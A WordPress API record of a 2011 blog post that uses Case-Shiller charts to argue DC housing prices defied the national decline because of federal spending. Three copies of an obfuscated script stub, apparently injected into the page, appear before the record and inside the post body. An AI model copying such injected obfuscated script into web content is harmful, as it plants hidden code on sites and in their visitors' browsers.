<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":1245,"date":"2011-06-01T00:23:40","date_gmt":"2011-06-01T06:23:40","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=1245"},"modified":"2011-06-01T00:24:03","modified_gmt":"2011-06-01T06:24:03","slug":"what-goes-to-washington-stays-in-washington","status":"publish","type":"post","link":"https:\/\/www.jsharf.com\/view\/?p=1245","title":{"rendered":"What Goes To Washington, Stays In Washington"},"content":{"rendered":"<p>In this case, your tax money.\u00a0 How else to explain DC&#8217;s disconnect from the rest of the housing market?<\/p>\n<p>According to the Case-Shiller Index of Housing Prices, DC is the only metro area to see its housing prices increase over the last year, even as the rest of the country fell into a double-dip:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/www.jsharf.com\/images\/CaseShiller\/YearOverYear.jpg\" alt=\"\" width=\"494\" height=\"353\" \/><\/p>\n<p>Washington&#8217;s percentage increase was larger than 10 other areas&#8217; percentage decrease, so it wasn&#8217;t as though it was just eking out these gains.\u00a0 You can see the disconnect even more clearly in this chart of housing prices over the last couple of years, comparing DC to the 20-market index and a couple of representative markets:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/www.jsharf.com\/images\/CaseShiller\/CaseShillerIndex.jpg\" alt=\"\" width=\"565\" height=\"518\" \/><\/p>\n<p>DC starts to dip with the rest of the country in late 2010, and then, right at the end of the year, as opposed to every other market in the country, it revives.\u00a0 If all that extra cash came to late to save all those Democrat representatives and senators, at least they got a good price for their DC pads.<\/p>\n<p>It&#8217;s not as though DC didn&#8217;t suffer a pretty serious decline in housing prices, but it&#8217;s not as though this comeback is a result of reversion to the mean from an exceptionally severe drop:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/www.jsharf.com\/images\/CaseShiller\/WorstLossPct.jpg\" alt=\"\" width=\"481\" height=\"372\" \/><\/p>\n<p>That chart shows the percentage drop from the local market peak to the market trough.<\/p>\n<p>Other areas had made gains, but they&#8217;ve given most or all of them back.\u00a0 All except for DC.\u00a0 Only San Francisco is higher above its trough than DC is, but look at how much even of its recovery has evaporated:<\/p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone\" src=\"http:\/\/www.jsharf.com\/images\/CaseShiller\/ReboundRetention.jpg\" alt=\"\" width=\"481\" height=\"402\" \/><\/p>\n<p>When I was growing up, there was a notion afoot that DC was recession-proof.\u00a0 Then, as the area matured, and the economy diversified, that perception began to weaken.\u00a0 If you don&#8217;t hear Washingtonians saying it again, it&#8217;s only because they&#8217;re afraid it might be poor salesmanship.<\/p>\n<p>After all, when people are starting to compare the national finances to those of Louis XVI, it&#8217;s probably not a good idea to let on that you&#8217;re living in Versailles.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this case, your tax money.\u00a0 How else to explain DC&#8217;s disconnect from the rest of the housing market? According to the Case-Shiller Index of Housing Prices, DC is the only metro area to see its housing prices increase over the last year, even as the rest of the country fell into a double-dip: Washington&#8217;s [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[51,1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1245"}],"collection":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1245"}],"version-history":[{"count":3,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1245\/revisions"}],"predecessor-version":[{"id":1247,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/1245\/revisions\/1247"}],"wp:attachment":[{"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1245"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1245"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1245"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}